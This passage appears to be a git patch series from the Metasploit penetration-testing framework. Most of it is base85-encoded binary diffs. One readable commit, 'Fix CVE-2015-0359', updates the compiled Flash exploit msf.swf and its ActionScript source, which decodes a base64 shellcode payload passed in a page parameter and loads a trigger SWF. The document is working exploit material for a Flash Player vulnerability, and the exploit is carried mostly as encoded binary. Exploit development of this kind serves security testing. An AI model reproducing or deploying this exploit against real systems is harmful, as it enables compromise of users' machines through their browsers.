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 = new Vector.(0x6400) public function Msf() { - b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh) - payload = b64.toByteArray().toString(); + var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh + var pattern:RegExp = / /g; + b64_payload = b64_payload.replace(pattern, "+") + b64.decode(b64_payload) + payload = b64.toByteArray().toString() trigger_swf = LoaderInfo(this.root.loaderInfo).parameters.tr ba.endian = "littleEndian" From bd1bdf22b54ea3fdae3a5daebb1dd143666444e6 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 26 May 2015 17:27:20 -0500 Subject: [PATCH 0205/1013] Fix CVE-2015-0359 --- data/exploits/CVE-2015-0359/msf.swf | Bin 18109 -> 18236 bytes external/source/exploits/CVE-2015-0359/Msf.as | 5 ++++- 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/data/exploits/CVE-2015-0359/msf.swf b/data/exploits/CVE-2015-0359/msf.swf index 4befa69648e84694b107659f46cd93a8efa0e9b3..e7244c61f27d7c127efbf8b544cf6428964b6f95 100755 GIT binary patch delta 18097 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%0A?$)b_jMlQXDhH@(8rKnY1i(-rG9~;qMn+aJ z@7j5}2TkUgWKGvT?PRW4i=kU5RE549qnj~Ve}u{iQNC+}w&HiL4zp+ieqZ)m(vQiU zghN~5792L!IA4t-SMQ}a{m!_*B6#FZE4v~o{x6pfs_68Zl!#>R<%k_kuo2J!NOYG2|U7>fbadXd2zd-s%hht1iuIXYZ-0+i-s(^;;RpsQhh5Y ze`IpG5}9r<{^J&OVg(s~nYa{(B_9_r_rvR>5?BaMZJdJE$xZ_kMN=;uc)$@nv6gvQ zfN;?9&)J_>i}k@ZG5Gg1^2~gui-FbiwrWKR6) zA5o6@5k?)*B2ze@3ZCs@ENOZHr121nWjS;(l=;S522X`Ul&jBdlv70|QZhG;f8AnY z2eX2RXGd&%;D=k@{?b}<>3SLPF)XO$w|}&37&7QFMB@hHfz*F1q2+yTkCQcXNZ}t@ zMhF&q=Vni2bhmh8TY6_S#{a$~3IQ3!kNl+c1JFm&l-^2?wfxY9>Gu%ZKPb_N9{xU& zea>bZI7H6p8iw2$uNfef1&Jqae|B&NNb9*uVauV525l-=sqvFb$G#>49bhYSjap*F zE@hq=eSRV zoI#Ji+s1vGPvzUd5vU~Qmo#(ZUfw9Eo_JN{bL1Ssb{o_NQuM6>y-&&6f5!)wM1RHS zt+Q}|*@k`fq{BNk7~A*Ukz$_I?mTEFk6ZZ@_fBxGHIH>{Qb(6Bj_oonV9cp``IuSN z)L>Bv1_aPR=Ne9_w-?Xi7e|`nWLzYvYTH909puRDS_*}>Y!ku<7qj>WQFC~sM!iy} zhT$=hm6Me)t4XyDQu}o$fBWTN!ab_wc|!)Ras?3We(i)R2MCWfGY?2?Z%|f&I;y5- 